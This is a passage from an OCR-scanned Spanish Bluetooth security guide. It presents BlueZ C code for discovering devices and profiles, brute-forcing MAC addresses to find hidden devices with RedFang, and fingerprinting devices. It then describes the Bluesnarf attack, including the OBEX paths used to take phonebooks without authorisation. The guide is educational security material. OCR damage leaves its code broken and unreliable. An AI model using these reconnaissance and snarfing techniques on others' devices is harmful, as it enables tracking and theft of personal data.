El cédigo fuente de BlueZScanner se distribuye libremente bajo licencia GNU. Se
necesita instalar previamente el paquete de librerias bluez-libs-devel.

gospel @ localhost:~ \:”EIEI

Archivo Editar Ver Terminal Solapas Ayuda

[gospel@localhost ~]% D

./bluezscanner [-c] [-p] [-h]
-c Muestra informe completo sobre Service & Device Classes
-p Muestra los Perfiles Bluetooth disponibles
-h help / ayuda

En los sucesivos capitulos se explicardn conceptos avanzados sobre la
programacion Bluetooth en C con entorno BlueZ y se mostrardn ejemplos

practicos llevados a cabo con la herramienta BlueZScanner.
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3.4 — Deteccion de dispositivos Bluetooth

3.4.1 - Deteccion de dispositivos en modo visible o
discoverable

El proceso de deteccion de dispositivos Bluetooth forma parte de las funciones de
la capa HCI.

0 Inicialmente, el dispositivo origen envia paquetes inquiry y se mantiene en
espera de recibir respuestas de otros dispositivos presentes en su zona de
cobertura.

0 Silos dispositivos destino estan configurados en modo visible (discoverable)
se encontraran en estado inquiry_scan y en predisposicion de atender estos
paquetes. En este caso, al recibir un paquete inquiry cambiardn a estado
inquiry_response y enviaran una respuesta al dispositivo origen con sus
direcciones MAC y otros parametros.

0 Los dispositivos que estén configurados en modo no visible (non
discoverable) se encontraran en modo inquiry_response y, por tanto, no
responderan al dispositivo origen y permaneceran ocultos.

El siguiente cddigo fuente para BlueZ permite escanear y detectar dispositivos
Bluetooth en modo visible:

#include <stdio.h>

#include <stdlib.h>

#include <bluetooth/bluetooth.h>
#include <bluetooth/hci.h>
#include <bluetooth/hci_lib._h>

int main O

{

inquiry_info *ii = NULL; //Almacena la lista de dispositivos
//detectados durante el inquiry

int max_rsp, num_rsp; //N° de respuestas/dispositivos detectados
int dev_id; //ldentificador del adaptador Bluetooth local

int socket; //Socket HCI;

int len, 1;

char MAC dev[20]; //Direccion MAC del dispositivo detectado
char nombre_dev[248]; //Nombre del dispositivo detectado
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//0btenemos el identificador del adaptador local Bluetooth
dev_id = hci_get_route(NULL);
if (dev_id < 0)

printF("Error. Dispositivo Bluetooth local no disponible.\n");
exit(l);
}

//Abrimos un socket local HCI
socket = hci_open_dev(dev_id);
it (socket < 0)

printf("Error. Fallo al intentar abrir socket HCI_\n");
exit(l);
}

//1Inicializamos algunas variables
len = 8; //El tiempo de inquiry es de 1.28x8=10.24 secs/dispositivo

max_rsp = 255; //Se pueden detectar a lo sumo 255 dispositivos

//Creamos la lista de dispositivos detectados con hci_inquiry
ii = (inquiry_info*)malloc(max_rsp * sizeof(inquiry_info));

printf("'Detectando dispositivos...\n\n");

//hci_inquiry lleva a cabo un descubrimiento de dispositivos
//Bluetooth y devuelve una lista de dispositivos detectados en
//inquiry_info ii para ser almacenados.

//La bandera IREQ CACHE FLUSH permite que la caché sea limpiada
//antes de buscar nuevos dispositivos, ya que podrian aparecer
//dispositivos anteriormente detectados pero ahora fuera de rango.

num_rsp = hci_inquiry(dev_id, len, max_rsp, NULL, &ii,
IREQ_CACHE_FLUSH);

if(num_rsp < 0)
printf("Error. Fallo al intentar hci_inquiry.\n");

//Para cada una de las respuestas obtenidas durante el inquiry
//obtenemos el nombre del dispositivo

for(i=0;i<num_rsp;i++)

{
ba2str(&(ii+i)->bdaddr, MAC dev);
memset(nombre_dev, 0, sizeof(nombre_dev));
if(hci_read_remote_name(socket, &(ii+i)->bdaddr,
sizeof(nombre_dev), nombre_dev, 0) < 0)
{

strcpy(nombre_dev, "[Desconocido]™);

printf("'Dispositivo (%d) encontrado:\n\tMAC: %s\t\tNombre: %s\n\n",
i+1l, MAC dev, nombre_dev);

}

free(ii);
close(socket);
return(0);

77



BlueZScanner se basa en parte del anterior cédigo fuente.

La siguiente captura muestra como BlueZScanner detecta dispositivos Bluetooth
cercanos:

= gospel @ localhost:~

Archivo Editar Ver Terminal Solapas Ayuda

@localhost ~1% ./
canner, por Gospel <gospel.endorasoft.es:>

Detectando dispositivos ...

) encontrado:
E:GD:EB:08:91 Nombre: Nokia 6600
Fabricante del Chip Bluetooth:
Murata Manufacturing Co., Ltd.
Tipo de dispositivo:
Phone = Cellular

1trado:
5:E4:39 Nombre: Dell Axim
cante del Chip Bluetooth:
LTD (Cambridge 5ilicon Radie)
Tipo de dispositivo:
Computer » Handheld PC / FDA

MAC: (H C( j Nombre: Nokia LD-1W
Fabricante del Chip Bluetooth:

Primax Electronics Ltd.
Tipo de dispositivo:

Wearable = Uncategorized d

Dispositive 1contrado:
MAC: O 52:F3 Nombre: Nokia 6820
Fabricante del ip Bluetooth:
Nokia Danmark A/S
Tipo de dispositivo:

© Phone » Cellular ’
Dispositivo 1contrado:

Hombre: ASUS
Fabricant 1 Chip Bluetooth:
J-THREE INTERMATIONAL Holding Co., Ltd.
Tipo de dispositivo:

=
[

Compute

MAC: CH0:0A:DE 4E: A9 Nombre: Te8i
Fabric Chip Bluetooth:
“icsson Mobile Communications AR

Cellular
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3.4.2 — Deteccion de dispositivos en modo oculto o non
discoverable

Como ya se ha comentado anteriormente, durante el proceso de HCI inquiry, los
dispositivos configurados en modo oculto no responderdn a los paquetes inquiry
del dispositivo origen.

Sin embargo, el hecho de no ver un dispositivo oculto, no significa que no esté ahi
y que no se pueda detectar con otros medios.

Existen ciertos paquetes Bluetooth que, enviados a wuna direccion MAC
determinada, obligan al dispositivo que los recibe a devolver una respuesta
independientemente del modo de visibilidad establecido. Una de estos paquetes
es el utilizado en la funcién de resolucion de nombre de dispositivo
hci_read_remote_name. Esta funcion, implementada en BlueZ, permite obtener el
nombre de un dispositivo Bluetooth a partir de su direccion MAC. Es decir,
conociendo la direccion MAC de un dispositivo Bluetooth remoto podemos
resolver su nombre con la funcién hci_read_remote_name, aunque el dispositivo
haya sido configurado en modo oculto e ignore paquetes HCI inquiry.

La técnica que permite descubrir dispositivos Bluetooth en modo oculto, dado
que, a priori, la direccion MAC del dispositivo es desconocida, consiste en realizar
un ataque por fuerza bruta sobre un determinado rango de direcciones MAC
permitidas esperando encontrar alguna que responda a la peticién de resolucion
de nombre de dispositivo, lo que indicaria que existe un dispositivo Bluetooth
configurado en modo oculto detras de esa direccion MAC.

Esta misma técnica es la empleada por RedFang, una herramienta desarrollada por
@stake Inc. que permite encontrar dispositivos Bluetooth en modo oculto
realizando fuerza bruta sobre los 6 bytes de la direccion BD_ADDR Bluetooth.

= gospel@® GospelFC5:/home/gospelfredfang E"EHZI
Archivo Editar Ver Terminal Solapas Ayuda

[roo spelFC5 redfangl# ./fang -r OOOE6EDEBO890-000EGDEBO894
redfang - the bluetooth hunter ver 2.5
ake Inc
01lie Whitehouse <olliel
enhanced: threads by Simon Halsall <s.ha inetiq.com:>
i info discovery by Stephen Kapp ppl@atstake.com>

)
Address range 00:0e:6d:eb:08:90 -> 00:0e:6d:eb:08:94
Found: Nokia 6600 [00:0e:6d:eb:08:91]
Getting Device Information.. Connected.
LMP Version: 1.1 (Ox1) LMP Subversion: Ox248
Manufacturer: Nokia Mobile Phones (1)
Features: Oxbf Ox28 Ox21 Ox00

ot packe
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3.5 — Descubrimiento de perfiles Bluetooth

Como se ha explicado anteriormente, el descubrimiento de perfiles en dispositivos

Bluetooth remotos corre a cargo del protocolo SDP (Service Discovery Protocol).

El siguiente codigo fuente para BlueZ permite obtener los perfiles Bluetooth

soportados por un dispositivo con una determinada direccion MAC:

void getServicios(char MAC dev[])

{
bdaddr_t bdaddr;
sdp_list_t *attrid, *search, *seq;
uint32_t range = Ox0000Ffff;
sdp_session_t *sess;
struct hci_dev_info di;
uuid_t root uuid;

if(hci_devinfo(0, &di) < 0)

{
printf(""[!'] Error. Fallo en HCI device info.\n");

exit(l);
}

str2ba(MAC_dev, &bdaddr) ;
sess = sdp_connect(&di .bdaddr, &bdaddr, SDP_RETRY_IF _BUSY);
if(Isess)

{

printf("Error. Imposible conectar con el servidor SDP.\n");
exit(l);

printf("\tPerfiles Bluetooth disponibles:\n", MAC_dev);
sdp_uuidl6_create(&root _uuid, PUBLIC_BROWSE_GROUP);

attrid = sdp_list_append(0, &range);
search = sdp_list_append(0, &root_uuid);

if(sdp_service_search_attr_req(sess, search, SDP_ATTR_REQ_RANGE,
attrid, &seq) < 0)
{
perror(*'SDP service search');
sdp_close(sess);
exit(l);
}

sdp_list free(attrid, 0);
sdp_list_free(search, 0);

//Imprimimos la lista de Perfiles Bluetooth encontrados
for(; seq; seq = seg->next)
{
sdp_record_t *rec = (sdp_record_t *) seq->data;
sdp_list_t *access = NULL;



int channel;
sdp_data_t *d = sdp_data_get(rec, SDP_ATTR_SVCNAME_PRIMARY);

it (d)

printFC"\t\t- %s ", d->val.str);
}

sdp_get_access_protos(rec, &access);

//0btenemos el channel correspondiente al Perfil
if(access)

channel = sdp_get proto_port(access, RFCOMM_UUID);
printf(""(Channel: %d)\n", channel);

}
free(seq);
sdp_close(sess);

}

BlueZScanner se basa en parte del anterior codigo fuente.

La siguiente captura muestra como BlueZScanner es capaz de descubrir perfiles
Bluetooth en dispositivos detectados:

= gospel@ localhost:~ E“EEI

Archivo Editar Ver Terminal Solapas Ayuda

[gospel@localhost ~]1% ./bluezscamner -p
+ BlueZScanner, por Gospel <gospel.endorasoft.es>

Detectando dispositivos

Dispositivo (1) encontrado:
MAC: 00:10:C6:55:E4:39 Nombre: Dell Axim x30
Fabricante del Chip Bluetooth:

USI CO., LTD (Cambridge S5ilicon Radio)

Tipo de dispositivo:
- Computer > Handheld PC / PDA a

Perfiles Bluetooth disponible
- Envio de objetos OBEX (Channel: 1)
Transferencia de archivos 0BEX (Channel: 2)
Acceso a rede Channel: 0)
Acceso a redes (Chammel: 0)
Namero de serie genérico (Channel: 3)

Dispositivo (2) encontrado:
MA 00 :0A:3A: 54 74D Nombre: ASUS
Fabricante del Chip Bluetooth:
J-THREE INTERNATIONAL Holding Co.,
Tipo de dispositivo:
Computer > Desktop workstation
Perfiles Bluetooth disponibles:
- Puerto de serie Bluetooth (Channel:
a red (Channel: 0)
(Channel: 0)
telefonico a redes (Channel:
Transferencia de elementos del PIM 3)
Transferencia de archivos (Channel: 4]

[Channel: 6)
B

Dispositivo (3) encontrado:




3.6 — Identificacion del tipo de dispositivo
Bluetooth

Cuando se realiza un escaneo de dispositivos Bluetooth
con ayuda de herramientas comerciales o, simplemente,

GospelFCS
PC

con el asistente de conexiones Bluetooth de Microsoft
Windows™, los dispositivos detectados se muestran
mediante iconos representativos de su naturaleza, ya sean
PCs, PDAs, Teléfonos moviles, Manos libres, etc.

MiniGospel
PDA (agenda electrénica)

HFOO9
Auriculares

Mokia 6600
Teléfono mawil

El reconocimiento se efectia a través de los DIACs (The General- and Device-
Specific Inquiry Access Codes)

LEiBeElEAS

Cada dispositivo Bluetooth incorpora en la cabecera de nivel de Banda Base de sus
paquetes un campo Class of Device/Service. Este campo se compone de 3 octetos
organizados con el siguiente formato:

o0 11 ultimos bits reservados para las Service Classes.
0 11 bits siguientes reservados para las Device Classes.
e 6 bits reservados para las Major Device Classes.
e 5 bits reservados para las Minor Device Classes.
O 2 primeros bits para el campo Format Type, por defecto a 0.

El siguiente esquema resume lo explicado:

23 16 15 27 0 bit rarsmission arder
| octet 3 | octet 2 | octet 1 | actettrarsmiszion order

‘ 11 bis W Ghis— W Ghis— _
| Res ened for Senrice Classes | Wejor ditice dass |I.l|nurdluml elass | oo | :-:J”:lllrll:;:;;p:;;:dd B

LLPnztinnlng LFD[ITIEIHy'pE

New oking
Rendering
Capturing
Object Transfer
L Audio
L Telephomy
L Information

Fuente: https://www.bluetooth.org/foundry/assignnumb/document/baseband
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El campo reservado para las Device Classes permite identificar la naturaleza del
dispositivo. Este campo se compone 2 subcampos: Major Device Class y Minor
Device Class.

3.6.1 — Major Device Class

El campo reservado para la Major Device Class permite identificar el tipo genérico
de dispositivo. Este campo se compone de 5 bits, desde el bit 8 al 12. Cada tipo
genérico de dispositivo esta asociado a una representacion concreta de bits dentro
del campo. En la especificacion de banda base 1.1 de Bluetooth se describe la
siguiente correspondencia entre bits marcados en el campo Major Device Class y los
tipos genéricos de dispositivos:

12 11 10 9 & Major Device Class

00 0 00mMiscellaneous [Ref#2]

0 0 0 01 Computer idesktop notebook, FDA, organizers, ... 0

0 0 0 10Fhonecellular, cordless, payphone, modem, .

00 o 11LANMMetwork Azcess point

0 0 1 00AudioMidea cheadset speaker stereo, video display, wer....
0 0 1 01 FPeripheral {mouse, joystick, kevboards, ... 1

0 0 1 10Imaging {printing, scanner, camera, display, ..

oo 1 11Wearable

01 0 00Taoy

T 1 1 11 Uncategorized, specific device code not specified
¥o® M M XAl othervalues reserved

Fuente: https://www.bluetooth.org/foundry/assignnumb/document/baseband

3.6.2 — Minor Device Class

El campo reservado para la Minor Device Class permite identificar el tipo
especifico de dispositivo. Este campo se compone de 6 bits, desde el bit 7 al 2.
Cada tipo especifico de dispositivo estd asociado a una representacion concreta de
bits dentro del campo. En la especificacion de banda base 1.1 de Bluetooth se
describe la siguiente correspondencia entre bits marcados en el campo Minor
Device Class y los tipos especificos de dispositivos, dentro de cada tipo genérico.
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Computer Major Class

Minor Device Class
765432 bit no of CoD

00ooon Uncategorized, code for device not assigned

000001 Desktop warkstation
oooo10Semnerclass computer

Qo001 1 Laptop

000100 Handheld PCPDA (clam shell)

000101 Palm sized PC/IFDA

000110 Wearahle computer Watch sized)

WO K AN othervalues reserved

Fuente: https://www.bluetooth.org/foundry/assignnumb/document/baseband

Phone Major Class

Minor Device Class
T65432 bit no of Cold

000000 Uncategorized, code for device not assigned

Qooood celular
Qgooot10cCordless

gooot 1 sSmartphone

0001 00YWired modem arvoice gatewsay

goo1 01 Common ISDM Access
WO R E R H AN othervalues reserved

Fuente: https://www.bluetooth.org/foundry/assignnumb/document/baseband

Peripheral Major Class

Minor Device Class
T 6 bit no of Col

00 Mot Keyboard ¥ Mot Pointing Device
01 Keyboard
1 0 Painting device

1 1 Combo kevhoardipointing device

Fuente: https://www.bluetooth.org/foundry/
assignnumb/document/baseband

Minor Device Class
5432 bit no of CoD

0000 Uncategorized device
0001 Joystick

0010 Gamepad

0011 Remote control
0100 Sensing device

0101 Digitizer tablet
0110 Card Reader (e.0. 5IM Card Readen
# O kH AN other values reserved 84



Audio / Video Major Class

Minor Device Class
76543 2 bitno of CoD

000000 Uncategorized, code not assigned

Qo000 Wearahle Headset Device

000010Hands-free Device
Qo001 iResened)
0oo100Microphone
000101 Loudspeaker
00011 0Headphanes
000111 Portable Audio
001000 Caraudio
001001 Settop box
001010 HIFi Audio Device
Oo1011NCR

o011 00video Camera
001101 Camcorder

00111 0%ideo Monitor

0o1111Ydeo Display and Loudspeaker

010000Yideo Canferencing
010001 (Fesemned)

010010 Gamino/Toy

WO W E Al other values reserved

Fuente: https://www.bluetooth.org/foundry/assignnumb/document/baseband

Imaging Major Class
Minor Device Class

7 65 4 bit no of CoD

R 1 Display

#x K Camera

# 1 ¥ ¥ Scanner

1 ¥ ¥ ¥ Printer
HOE W Al othervalues resemved

Fuente:
https://www.bluetooth.org/foundry/assignnumb/document/baseband
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LAN/Network Access Point Major Class — Load Factor

Minor Device Class
76 5 hit no of CoD

000 Fully available
001 1-17% utilized
01 017-33% utilized
011 33-50% utilized
100480-67% utilized
101 67 -83% utilized
11 083-949% utilized

111 Mo service available

Fuente: https://www.bluetooth.org/foundry/assignnumb/document/baseband
Weareable Major Class

Minor Device Class
T65432bitno of Col

Ooooo1wristwatch
Qooo10Pager
oooo11 Jacket
Oono100Helmet

ooo101 Glasses
O O H Al other walues reserved

Fuente: https://www.bluetooth.org/foundry/assignnumb/document/baseband
Toy Major Class

Minor Device Class
765432 bit no of Col

000001 Robot

oooo1 0vehicle

0ooo1 1 DollfAction Figure
000100 Contraller

ooo1o1 Game

OO KAl other values reserved

Fuente: https://www.bluetooth.org/foundry/assignnumb/document/baseband
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3.6.3 — Calculo del Class of Device

Conociendo el Class of Device/Service de un dispositivo Bluetooth, se puede
averiguar facilmente el tipo de dispositivo del que se trata.

[= gospel@ GospelBook:~ BEE

Archivo Editar Ver Terminal Solapas Ayuda

[gospel@GospelBook ~]1% hcitool ing
Inguiring ... I

00:10:C6:55:E4:39 clock offset: Ox55e0 class: 0x320114

3
[gospel@GospelBook ~1% []

En este ejemplo, la herramienta Hcitool ha detectado un dispositivo cuyo Class of
Device/Service es 0x320114.

La representacion de 0x320114 en binario es la siguiente:

Ne°bit: 2322212019181716151413 1 12111009 08 07 | 06 0504 03 02 | 01 00
Valor 0 011 0010000100001 01001011 00

Se observa que el bit 8 aparece activado, que, tal y como establece la tabla Major
Device Classes, corresponde al siguiente tipo de dispositivo genérico:

e Dbit 8: Computer (desktop,notebook, PDA, organizers, ....)
Al mismo tiempo, los bits 4 y 2 también aparecen activados que, tal y como
establece la tabla Minor Device Classes de la categoria Major Computer Class,

corresponden al siguiente tipo de dispositivo especifico:

e Dbits 4 y 2: Palm sized PC / PDA

= gospel® GospelFC5:~ EEE

Archivo Editar Ver Terminal Solapas Ayuda

[gospel@GospelFCS ~]F bluezscanner -c
+ BlueZScanner, por Gospel <gospel.endorasoft.es>

Detectando dispositivos ...

Dispositive (1) encontrado:
MAC: 00:10:C6:55:E4:39 Nombre: Dell Axim x30
Fabricante del Chip Bluetooth:
- USI CO., LTD (Cambridge Silicon Radio)
Class: 0x320114 [001100100000000100010100]
— Servicios soportados (Service Classes):
- Audio (Speaker, Microphone, Headset service,

Object Transfer (v-Inbox, v-Foj o
Networkir (LAN, Ad hoc )

- Tipo de dispositive (Device Cla
Computer > Palm sized PC ;
[gospel@GospelFCS5 ~1%
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BlueZScanner implementa la funcion de identificacién del tipo de dispositivos
Bluetooth detectados, como se puede apreciar en la siguiente captura:

= | gospel @ localhost:~

Archivo Editar Ver Terminal Solapas Ayuda

@localhost ~]% ./bluszscanner
canner, por Gospel <gospel.endorasoft.es:>

Detectando dispositivos ...

Dispositivo ( 1wcontrado:
MAC GD:EB:08:91 Nombre: Nokia 6

Fabricante del Chip Bluetooinle
< Murata l-Iat'n.lfau::tl.u"fo._. Ltd.

Tipo de dispositivo:
Phone » Cellular

Dispositivo
MAC: O0:10:¢ 4: 39 Nombre: Dell Axim

Fabricante de ip Bluetooth:
: CO., LTD (Cambridge 5ilic¥iadio)

Tipo de dispositivo:
Computer > Handheld PC / PDA

MAC: D0:02:76:C( 0 Nombre: Nokia LD-1W
Fabrican X ip Bluetooth:
Primax Electronics Ltd.

Tipo de dispo: :
- Wearable » Uncategorized de

Dispositivo ( 1contrado:
MAC: O0:0E:ED: 22 :F3 Nombre: Nokia G820

Fabricante del ip Bluetootly
- Nokia Danmark \’
Tipo de dispositivo:
Phone » Cellular

ontrado:
Nombre: A

del Chip Bluetooth:
J-THREE INTERMNATIONAL Holding ’ Ltd.

Tipo de dispos
Computer = Desktop workstation

Nombre: TE81

Communications AB
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3.7 — Identificacion del fabricante del chip
Bluetooth

Todos los dispositivos Bluetooth se identifican mediante una direccion MAC,
denominada BD_ADDR, que es univoca y corresponde a un tunico moddulo
Bluetooth. Esta direccion es utilizada por el protocolo Bluetooth para el
direccionamiento de dispositivos a nivel de red.

La direccion MAC de un dispositivo Bluetooth se compone de 6 bytes que
responden a la siguiente notacion: FF:FF:FF:XX:XX:XX. Los tres primeros bytes se
asocian al fabricante del chip y los tres tltimos identifican al dispositivo.

A continuacién se presenta un ejemplo de relacion entre los tres primeros bytes de
la direccion MAC con el fabricante del chip:

00:0B:AC ..... 3Com Europe Ltd.

00:80:37 ..... Sony-Ericsson Group

00:0A:D9 ..... Sony Ericsson Mobile Communications AB
00:60:57 ..... Murata Manufacturing Co., Ltd. (Nokia)

Una lista mas extensa de cddigos MAC asignados a fabricantes de productos IEEE
802 esta disponible en: http://standards.ieee.org/regauth/oui/oui.txt

BlueZScanner incluye un algoritmo capaz de obtener el cddigo de tres bytes de
una direccion MAC de un dispositivo y encontrar el fabricante del chip Bluetooth
asociado a ese codigo. De esta forma, aunque el nombre del dispositivo no aporte
informacion, su direccion MAC permite identificar la marca de manufactura.

= gospel @ GospelFC5:~ E“E“Z]

Archivo Editar Ver Terminal Solapas Ayuda

[gospel@GospelFCS ~]1% bluezscanner
+ BlueZScanner, por Gospel <gospel.endorasocft.es>

Detectando dispositivos ...

Dispositive (1) encontrado:
MAC: 00:10:C6:55:E4:309 Nombre: Dell Ax ,‘D

Fabricante del ip Bluetooth:
- USI CO., LTD (Cambridge Silicon Radio)
Tipo de dispositivo:
Computer > Palm sized PC / PDA

Dispositivo (2) encontrado:
MAC: OO:0E:6D:EB:08:91 Nombre: ’a 600

Fabricante del Chip Bluetooth:

Murata Manufacturing Co., Ltd.
Tipo de dispositivo:

Phone > Cellular

Dispositivo (3) encontrado:
MA 00:0A:D9:2A:4E:A9 Nombre: TEBi ,

Fabricante Chip Bluetooth:
© son Mobile Communications AB
Tipo de di sitivo:
Phone > Cellular
[gospel@GospelFC5 ~1% []




3.8 — Identificacion de la marca y modelo de
un dispositivo

En principio, no es posible identificar inequivocamente la marca y modelo de un
dispositivo Bluetooth detectado atendiendo a la informacion publica que ofrece.
En algunos casos, es posible identificar la marca y modelo de un dispositivo
realizando peticiones a ciertos servicios protegidos que ofrece el mismo y que
requieren autenticacién, como a través de comandos AT (en teléfonos méviles) o
servicios de Sync ML DM Device Description (en dispositivos que soporten este
protocolo).

Sin embargo, se puede afirmar que cada dispositivo incorpora una firma personal
(fingerprint) en la informacién que muestra en su perfil publico. La informacion
disponible de forma publica en un dispositivo Bluetooth es la siguiente:

e Campo Class of Device/Service
e Direcciéon MAC
e Perfiles Bluetooth ofrecidos por el dispositivo

Si se realiza un analisis conjunto de los datos obtenidos, es posible obtener una
relacion casi univoca por cada dispositivo como se detalla a continuacion:

0 A través del campo Class of Device/Service se puede identificar el tipo y
naturaleza del dispositivo, es decir, averiguar si se trata de un PC, de un
teléfono moévil o de una PDA.

0 Los tres primeros bytes de la direccion MAC del dispositivo identifican el
fabricante del chip Bluetooth. En algunos casos, el nombre del fabricante
permite una identificacion explicita, como por ejemplo el cdédigo del
fabricante “Sony Ericsson Mobile Communications AB”, que corresponde a
teléfonos moviles de marca Sony-Ericsson™. En otros casos, la
identificacion es implitica, como por ejemplo el cddigo del fabricante
“Murata Manufacturing Co., Ltd.”, que habitualmente responde a teléfonos
moviles de marca Nokia™.

0 Cada dispositivo Bluetooth ofrece un determinado conjunto de perfiles
Bluetooth. En algunos casos, dos teléfonos moviles de una misma marca
pueden soportar distintos perfiles o, a pesar de soportar los mismos
perfiles, difieren en el contenido de algunos campos informativos del
Service Record.
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Se puede calcular un resumen (hash) de la informacion obtenida al realizar una
peticion SDP (Service Discovery Protocol) en un dispositivo y asociarlo con la
informacion del fabricante del chip para conseguir un registro identificativo (firma
o fingerprint) del dispositivo en cuestion. Por lo general, un registro calculado con
este procedimiento puede asociarse univocamente a un tinico dispositivo (marca y
modelo), aunque puede que un unico dispositivo disponga de varios registros
asociados al mismo, debido fundamentalmente a que existen distintas versiones
en el firmware del modelo y cada una puede soportar un conjunto diferente de
perfiles Bluetooth.

Blueprinting Manufacturer Model Firmware

Hash
08:00:17@2949325 HP iPAC 5500 PocketPC (4.20.1081)
00:0C:55@983040 Microsoft Windows XI? SpP2
Ch:F74A@A55407 Motorola A1000 unknown
00:0A:28@ 1759675  Motorola Vaoo unknown
D060 57@1704044  MNokia 3650 unknown
00:60:57@1704020 MNokia 3650 unknown
D0:60:57@1704022  MNokia 3650 unknown
00:60:57@1704023  MNokia 3650 unknown
D0:60:57@3605290 MNokia (3101 unknown
D0:60:57@3607710  MNokia (3101 unknown
DD:a0:57@1704035 Nokia BAON unknown
00:60:57@1704034  Nokia BRO0 unknowr
on:02:EE@4391166  Nokia HE20 unknown

Fuente: http://trifinite.org/ Downloads/Blueprinting.pdf

Para conseguir una base de datos suficientemente completa, seria necesario
escanear multitud de dispositivos Bluetooth y obtener registros identificativos por
coincidencia de resimenes calculados sobre el conjunto de perfiles Bluetooth.
Mediante esta base de datos seria posible identificar con una alta probabilidad un
nuevo dispositivo Bluetooth detectado en base a la experiencia recogida en
anteriores escaneos.

Actualmente, dos proyectos de herramientas Bluetooth incorporan un mecanismo
de aprendizaje para obtener registros identificativos de dispositivos Bluetooth y
emplear esa experiencia recogida para poder identificar nuevos dispositivos
detectados con una probabilidad bastante elevada. Estos proyectos son:

O Blueprinting, de Trifinite Group): http://trifinite.org/

0 XBlue, de Endorasoft: http://www.endorasoft.es/
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Capitulo

4

ATAQUES A
DISPOSITIVOS
BLUETOOTH
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4.1 — Ataques a teléfonos moviles

Los teléfonos moviles son los dispositivos que incorporan tecnologia Bluetooth
mas comercializados en todo el mundo. Segin Nokia™: “El mercado de moviles
Bluetooth ha crecido hasta llegar a los 133 millones de unidades vendidas en 2005,
y se espera que este nimero aumente hasta llegar a los 220 millones de unidades
en 2006”. Estas cifras suponen casi la mitad de los teléfonos moviles disponibles en
el mercado.

Teniendo en cuenta el enorme éxito de los teléfonos moviles Bluetooth, los
primeros ataques se centraron en la explotacion de vulnerabilidades presentes en
estos dispositivos Bluetooth. Cabe destacar que estas vulnerabilidades se debian a
la pobre implementaciéon de los mecanismos de seguridad por parte de los
fabricantes de teléfonos moviles con Bluetooth. No se trataba por tanto, de
vulnerabilidades inherentes al protocolo Bluetooth en si, ya que, como se ha visto,
Bluetooth es uno de los estandares de comunicaciones mas seguros y robustos.

Uno de los objetivos principales que persiguen los ataques a teléfonos moviles
Bluetooth es la ejecucion de comandos AT en el terminal comprometido, lo que
permitiria a un atacante obtener el control total del dispositivo. Otros ataques a
teléfonos moviles Bluetooth permiten extraer informacién sensible, como la
agenda de contactos o los mensajes SMS (Short Message Service) almacenados.

Los primeros teléfonos moviles en incorporar tecnologia Bluetooth fueron los
modelos Sony-Ericsson™ T68/T68i y T610, Nokia™ 6310/6310i, 7650 y 8910 y
Motorola™ v600.

"
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La implementacion de seguridad en estos primeros modelos era muy pobre, ya
que incorporaban por defecto el Modo 1 de seguridad a nivel de enlace, lo que
permitia a cualquier usuario de otro dispositivo acceder a todos los servicios y
establecer conexiones con los perfiles Bluetooth soportados sin necesidad de
autenticacion ni autorizacion.
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Con menos de un ano de diferencia desde la comercializacion del primer teléfono
Bluetooth, se descubrieron las primeras vulnerabilidades y se desarrollaron los
primeros ataques. Los fabricantes se dieron cuenta del enorme riesgo que suponia
no proteger los teléfonos mdviles, asi que las sucesivas versiones comercializadas
incorporaron el Modo 2 de seguridad a nivel de enlace y, mas tarde, el Modo 3.
Esta implementacion mds robusta de los modos de seguridad en los servicios
soportados por los teléfonos moviles se realizo de forma paulatina, en primer
lugar en los servicios mas criticos y, por ultimo, en todos los servicios.

Actualmente, casi la totalidad de los teléfonos moviles existentes en el mercado
incorporan el modo 3 de seguridad a nivel de enlace en todos los servicios
soportados y estdn protegidos frente a las vulnerabilidades que afectaban a los
primeros modelos.

Historicamente, en el andlisis de la seguridad de los teléfonos moviles Bluetooth
resulta necesario diferenciar los ataques a los primeros modelos, los cuales ya se
encuentran hoy en el mercado; y los ataques a teléfonos moviles actuales.

4.1.1 - Ataques a los primeros modelos de teléfonos maviles
Bluetooth

Las vulnerabilidades en los primeros modelos se debian a la escasa
implementacién de los mecanismos de seguridad Bluetooth: autenticacion y
autorizacion. Como consecuencia, un atacante podia conectarse a los perfiles
soportados por el teléfono movil utilizando su PC sin necesidad de que los dos
dispositivos estuvieran emparejados o el PC estuviera incluido en la lista de
dispositivos de confianza del teléfono movil.

Es posible emular este tipo de ataques en teléfonos moviles actuales, pero se
necesita que el dispositivo atacante esté autenticado y autorizado en el teléfono
movil objetivo, por lo que el acto deja de ser un ataque propiamente dicho, ya que
requiere la colaboracién del usuario victima.
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4.1.1.1 - Bluesnarf (Marcel Holtmann & Adam Laurie, 2003)

El ataque Bluesnarf se basa en la extraccién de archivos de un teléfono movil
Bluetooth a través del Perfil de Carga de Objetos (OBEX Object Push) sin
autorizacién del usuario propietario.

El Perfil de Carga de Objetos (OPUSH u OPP, Object Push Profile) define los
requisitos de aplicacion para implementar el modelo de uso de carga de objetos a
través del protocolo OBEX Object Push, el cual ofrece la capacidad de carga y
descarga de objetos de datos entre dispositivos Bluetooth.

El propdsito inicial del Perfil de Carga de Objetos (OBEX Object Push) era la carga
y descarga objetos tales como citas (vCalendar) vy el intercambio de tarjetas de
visita (vCard) con otro dispositivo Bluetooth. Actualmente, el perfil conserva esta
funcionalidad, aunque también se utiliza para transferencia rapida de archivos.

La vulnerabilidad Bluesnarf se basa en la implementacion incorrecta en los
primeros modelos de teléfonos mdviles Bluetooth del Perfil de Carga de Objetos
(OBEX Object Push), que carecia de mecanismos de autenticacién y autorizacion,
y que permitia descargarse mediante una operacion OBEX GET archivos de
nombre conocido, como la agenda de contactos almacenada en el terminal en
telecom/pb.vcf o el calendario de citas almacenado en telecom/cal.vs.

Especificacion IrMC de los archivos OBEX:

Filename Description Supported operations
Device Info
telecom/devinfo.txt Information hardware version, software |GET
version, serial number, etc. Character
seats
telecom/rtc.txt The Real Time Clock Object contains the |GET/PUT

current date and time of the device

Phone Book

telecom/pb.vcf Lewvel 2 access (Access entire phonebook |GET/PUT
database)

telecom/pbfluid/ . vef | Add new entry PUT

telecom/pb/O.vcf Ohwn business card GET/PUT

telecom/pb/info.log Supported properties and memory info  |GET

telecom/pbluids Change log GET

###.log

telecom/pbluids Change counter GET

coc.log

Calendar

telecom/cal .ves Level 2 access GET/PUT

telecom/calfluid/ ves | Add new entry PUT

telecom/fcalfinfo.log |Supported properties and memory info  |GET

Fuente: Sony-Ericsson AT Commands Online Referente (Developer Guidelines, Octubre 2004)
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Hoy en dia, la mayoria de teléfonos moviles Bluetooth incorporan tnicamente
mecanismos de autorizacion en el acceso al Perfil de Carga de Objetos (OBEX
Object Push). Esto significa que el dispositivo remoto debe estar incluido en la lista
